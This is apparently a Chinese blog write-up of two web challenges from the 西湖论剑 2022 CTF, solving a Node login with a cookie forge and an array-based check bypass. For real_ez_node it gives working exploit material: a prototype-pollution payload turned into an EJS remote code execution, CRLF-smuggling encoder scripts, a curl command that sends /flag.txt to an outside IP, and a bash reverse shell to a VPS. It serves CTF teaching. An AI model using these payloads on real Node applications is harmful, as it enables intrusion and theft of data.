• [西湖论剑 2022]web部分题解(更新中ing)


    [西湖论剑 2022]Node Magical Login

    环境!启动!(ノへ ̄、)

    这么一看好像弱口令啊,(不过西湖论剑题目怎么会这么简单,当时真的傻),那就bp抓包试一下(这里就不展示了,因为是展示自己思路,这里就写了一下当时的NC思路,其实是不对的┭┮﹏┭┮)

    不是BP弱口令?那好吧,我们先看一下源码,比赛的时候是给了源码的NSS复现上是没有的,这里我把源码放在这里,或者可以去我主页GITHUB上下载“源码

    单独建立一个工程看一下

    大概扒拉了一下,main.js,controller.js,login.css............(+.+)(-.-)(_ _) ..zzZZ,最终发现!应该是“controller.js”这里有关于flag的内容!

    我把源码放在下边o.O?

    const fs = require("fs");
    const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"
    
    const flag1 = fs.readFileSync("/flag1")
    const flag2 = fs.readFileSync("/flag2")
    
    
    function LoginController(req,res) {
        try {
            const username = req.body.username
            const password = req.body.password
            if (username !== "admin" || password !== Math.random().toString()) {
                res.status(401).type("text/html").send("Login Failed")
            } else {
                res.cookie("user",SECRET_COOKIE)
                res.redirect("/flag1")
            }
        } catch (__) {}
    }
    
    function CheckInternalController(req,res) {
        res.sendFile("check.html",{root:"static"})
    
    }
    
    function CheckController(req,res) {
        let checkcode = req.body.checkcode?req.body.checkcode:1234;
        console.log(req.body)
        if(checkcode.length === 16){
            try{
                checkcode = checkcode.toLowerCase()
                if(checkcode !== "aGr5AtSp55dRacer"){
                    res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
                }
            }catch (__) {}
            res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
        }else{
            res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
        }
    }
    
    function Flag1Controller(req,res){
        try {
            if(req.cookies.user === SECRET_COOKIE){
                res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
                res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
                res.status(200).type("text/html").send("Login success. Welcome,admin!")
            }
            if(req.cookies.user === "admin") {
                res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
                res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
            }else{
                res.status(401).type("text/html").send("Unauthorized")
            }
        }catch (__) {}
    }
    
    
    
    module.exports = {
        LoginController,
        CheckInternalController,
        Flag1Controller,
        CheckController
    }

    很好理解先来第一段:

    Flag1:

    function LoginController(req,res) {
        try {
            const username = req.body.username
            const password = req.body.password
            if (username !== "admin" || password !== Math.random().toString()) {
                res.status(401).type("text/html").send("Login Failed")
            } else {
                res.cookie("user",SECRET_COOKIE)
                res.redirect("/flag1")
            }
        } catch (__) {}
    }

    这代码从上向下看就是username !== "admin"也就是让他等于admin,相当于屏蔽了这个,好解决BP启动!

    抓到包以后直接改cookie就好了(・-・*),还有因为是访问请求,所以,GET一下flag1

    Cookie:user=admin
    GET /flag1 HTTP/1.1

    得到:

    好耶!我们得到了一半的flag!(*^▽^*)

    NSSCTF{0a8c2d78-ee0e

    那就接着看代码,找Flag2:

    Flag2:

    看了可以知道,访问 / 路由时,要满足密码为 Math.random().toString()的 随机数,因此cookie设为SECRET_COOKIE。

    那么我们再看一下flag2 的相关代码:

    function CheckController(req,res) {
        let checkcode = req.body.checkcode?req.body.checkcode:1234;
        console.log(req.body)
        if(checkcode.length === 16){
            try{
                checkcode = checkcode.toLowerCase()
                if(checkcode !== "aGr5AtSp55dRacer"){
                    res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
                }
            }catch (__) {}
            res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
        }else{
            res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
        }
    }

    这段代码其实很好理解,要上传一段长度为16位的码,同时要让checkcode不等于“aGr5AtSp55dRacer”还有就是因为有”toLowerCase“会把字符小写所以考虑用node的相关漏洞,具体讲解有大神讲过了,意思是node有个遗传性,比如:

    oi1=1
    oi2//不赋值
    这个时候我们调用oi1那就会把io2也是1

    这个不仅是赋值,同样还有Function也继承,类似于php继承性,这是讲解视频:Node.js原型链污染

    那么我们继续开始赋值,因为他让不等于而且会被默认小写,可以考虑数组:

    两种写法:

    {"checkcode":["aGr5AtSp55dRacer",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}
    {"checkcode":["a","G","r","5","A","t","S","p","5","5","d","R","a","c","e","r"]}

    其实是一样的都是凑够"16"位带入进去,还有就是因为是json形式的文件所以改一下json上传(好烦的要求┏┛墓┗┓...(((m -__-)m),还要记得访问flag2:

    POST /getflag2 HTTP/1.1//这个是头
    Content-Type:application/json//这个是文件形式

    两种写的格式截图放这里:

    效果一致得到Flag2(lll¬ω¬)

    -43a7-9d6e-fba3cc3240ab}

    最终为:

    NSSCTF{0a8c2d78-ee0e-43a7-9d6e-fba3cc3240ab}

     结束<(^-^)>

    [西湖论剑 2022]real_ez_node

    让我先把环境拉起来!这题是有源码包的,我放到了自己的Github上了,可以去下载一下“启动链接!”

    思路确认环节

    ejs?等会这题叫node是吧,突然想到之前群里的师傅在谈论的node漏洞,这题这么新颖么?先看一下源码吧O.o,F12看一眼,果然没有东西,那打开Kali扫一下,啊也没有耶,那种只能看看源码了(这里是边写边做的,也算是帮很多人排除错误选项)

    VSCODE打开看一眼源码:

    这里不是很清楚为什么在NSS上的源码包这么多东西,我去其实仔细审计以后(我是真的把每一个文件夹都看了一遍,脑子要吐了T-T),找到了routes里边的index.js以及docker\docker\web1\files中的start.sh

    那么首先锁定了flag的位置:flag位置在根目录下/flag.txt

    接着开始快e乐xin的审计代码:……]((o_ _)'彡☆

    var express = require('express');
    var http = require('http');
    var router = express.Router();
    const safeobj = require('safe-obj');
    router.get('/',(req,res)=>{
      if (req.query.q) {
        console.log('get q');
      }
      res.render('index');
    })
    router.post('/copy',(req,res)=>{
      res.setHeader('Content-type','text/html;charset=utf-8')
      var ip = req.connection.remoteAddress;
      console.log(ip);
      var obj = {
          msg: '',
      }
      if (!ip.includes('127.0.0.1')) {
          obj.msg="only for admin"
          res.send(JSON.stringify(obj));
          return 
      }
      let user = {};
      for (let index in req.body) {
          if(!index.includes("__proto__")){
              safeobj.expand(user, index, req.body[index])
          }
        }
      res.render('index');
    })
    
    router.get('/curl', function(req, res) {
        var q = req.query.q;
        var resp = "";
        if (q) {
            var url = 'http://localhost:3000/?q=' + q
                try {
                    http.get(url,(res1)=>{
                        const { statusCode } = res1;
                        const contentType = res1.headers['content-type'];
                      
                        let error;
                        // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                        if (statusCode !== 200) {
                          error = new Error('Request Failed.\n' +
                                            `Status Code: ${statusCode}`);
                        }
                        if (error) {
                          console.error(error.message);
                          // 消费响应数据以释放内存
                          res1.resume();
                          return;
                        }
                      
                        res1.setEncoding('utf8');
                        let rawData = '';
                        res1.on('data', (chunk) => { rawData += chunk;
                        res.end('request success') });
                        res1.on('end', () => {
                          try {
                            const parsedData = JSON.parse(rawData);
                            res.end(parsedData+'');
                          } catch (e) {
                            res.end(e.message+'');
                          }
                        });
                      }).on('error', (e) => {
                        res.end(`Got error: ${e.message}`);
                      })
                    res.end('ok');
                } catch (error) {
                    res.end(error+'');
                }
        } else {
            res.send("search param 'q' missing!");
        }
    })
    module.exports = router;v

    大概看了下代码首先,这题叫做node那么大概率就是原型链污染了,粗略看代码又有safeobj.expand()safeobj.expand() 这一块类明显的在user中的污染链函数,又有打算开环境以后的ejs提示,那问题锁定,就是ejs模板引擎污染。

    好的,主席说过“治理污染要治本,绿水青山.........”那就开始找源头!ヽ( ̄︿ ̄ )—C

    1.首先在代码18行到25行看到了两个东西:要求我们从本地(127.0.0.1)访问过滤了__proto__

    2.再往下看一看,发现有SSRF的节点可利用:

    这样看我就有思路了!ε=ε=ε=(~ ̄▽ ̄)~

    先通过路由利用CRLF还有它给我ban 了的本地连接身份向/copy发一个POST请求,再去解决污染!说干就淦

    调试payload环节

    ejs污染原型链

    既然是___proto___这种原型链污染那我们用模板就可以了。借用“jay17”大大的博客内容,对___proto___使用constructor.prototype绕过

    (实例对象)foo.__proto__ == (类)Foo.prototype

    ejs原型链污染的payload模板是这样的!d=====( ̄▽ ̄*)b

    {"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}

    仔细看代码,let user={};,user的上一层就是Object,考虑只有一次污染,那么就只有一个___proto___

    payload如下:

    {
    	"__proto__":{
    		"outputFunctionName":"a=1; return 			global.process.mainModule.constructor._load('child_process').execSync('dir'); //"
    	}
    }

    safeobj里的expand方法, 直接递归按照 “.”做分隔写入 obj,可以原型链污染。传入{“a.b”:“123”}会进行赋值a.b=123

    {
        "constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"
    }

    最终完善一下代码:

    expand: function (obj, path, thing) {
          if (!path || typeof thing === 'undefined') {
            return;
          }
          obj = isObject(obj) && obj !== null ? obj : {};
          var props = path.split('.');
          if (props.length === 1) {
            obj[props.shift()] = thing;
          } else {
            var prop = props.shift();
            if (!(prop in obj)) {
              obj[prop] = {};
            }
            _safe.expand(obj[prop], props.join('.'), thing);
          }
        },

    CRLF

    这里我想了好多种讲解方法,最终觉得我讲理论会有点难理解,有兴趣的师傅们可以去刚才我附赠的jay-17大大那个博客翻找一下,我直接给构成的脚本,生成就好了✧(≖ ◡ ≖✿)

    原始脚本:

    payload = ''' HTTP/1.1
    
    [POST /upload.php HTTP/1.1
    Host: 127.0.0.1]自己的http请求
    
    GET / HTTP/1.1
    test:'''.replace("\n","\r\n")
    
    payload = payload.replace('\r\n', '\u010d\u010a') \
        .replace('+', '\u012b') \
        .replace(' ', '\u0120') \
        .replace('"', '\u0122') \
        .replace("'", '\u0a27') \
        .replace('[', '\u015b') \
        .replace(']', '\u015d') \
        .replace('`', '\u0127') \
        .replace('"', '\u0122') \
        .replace("'", '\u0a27') \
        .replace('[', '\u015b') \
        .replace(']', '\u015d') \
    
    print(payload)

    题目所需脚本:

    payload = ''' HTTP/1.1
    
    POST /copy HTTP/1.1
    Host: 127.0.0.1
    Content-Type: application/json
    Connection: close
    Content-Length: 175
    
    {"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl //地址// /`cat /flag.txt`');//"}
    '''.replace("\n", "\r\n")
    
    payload = payload.replace('\r\n', '\u010d\u010a') \
        .replace('+', '\u012b') \
        .replace(' ', '\u0120') \
        .replace('"', '\u0122') \
        .replace("'", '\u0a27') \
        .replace('[', '\u015b') \
        .replace(']', '\u015d') \
        .replace('`', '\u0127') \
        .replace('"', '\u0122') \
        .replace("'", '\u0a27') 
    
    print(payload)

    注意下哦,这里为什么填175,POST数据长度173,但是POST还包含了两个\n会被替换为\r\n,总长度要加2( *︾▽︾)

    生成paylaod后发包:

    /curl?q=生成的payload URL编码

    附赠一个一把梭的代码:

    import requests
    import urllib.parse
    
    payloads = ''' HTTP/1.1
    
    POST /copy HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (windows11) Firefox/109.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: wp-settings-time-1=1670345808
    Upgrade-Insecure-Requests: 1
    Content-Type: application/json
    Content-Length: 174
    
    {"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/vps-ip/port/*/IP地址/* 0>&1\\"');var __tmp2"}
    
    GET / HTTP/1.1
    test:'''.replace("\n", "\r\n")
    
    
    def payload_encode(raw):
        ret = u""
        for i in raw:
            ret += chr(0x0100 + ord(i))
        return ret
    
    payloads = payload_encode(payloads)
    
    print(payloads)
    r = requests.get('//题目代码/curl?q=' + urllib.parse.quote(payloads))
    print(r.text)

     

  • 相关阅读:
    二叉搜索树--查询节点-力扣 700 题
    SpringBoot+Mybaits搭建通用管理系统实例六:登录健权框架实现下
    WinUI 剪裁发布中的一个小坑
    为什么一般公司面试结束后会说「回去等消息」,而不是直接告诉面试者结果?
    SpringBoot 中使用自定义参数解析器修改请求对象
    如何免费将 PDF 转换为 Word?
    加快网站收录 3小时百度收录新站方法
    workerman的基本用法(示例详解)
    DW大学生网页作业制作设计 ——旅游门户网站(21页)HTML+CSS+JavaScript
    基于STM32两轮自平衡小车系统设计与控制
  • 原文地址:https://www.cnblogs.com/TagLmtCtf/p/17989682